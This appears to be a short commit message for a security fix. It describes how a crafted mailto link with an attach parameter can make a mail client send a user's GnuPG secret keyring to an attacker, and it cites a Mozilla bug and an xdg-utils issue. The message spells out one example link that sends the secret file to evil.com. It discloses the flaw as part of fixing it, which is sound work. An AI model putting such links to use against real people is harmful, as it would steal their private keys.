This allows attacker to extract secrets from users:

mailto:sid@evil.com?attach=/.gnupg/secring.gpg

See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
and xdg/xdg-utils#177



Signed-off-by: Jörg Thalheim <joerg@thalheim.io>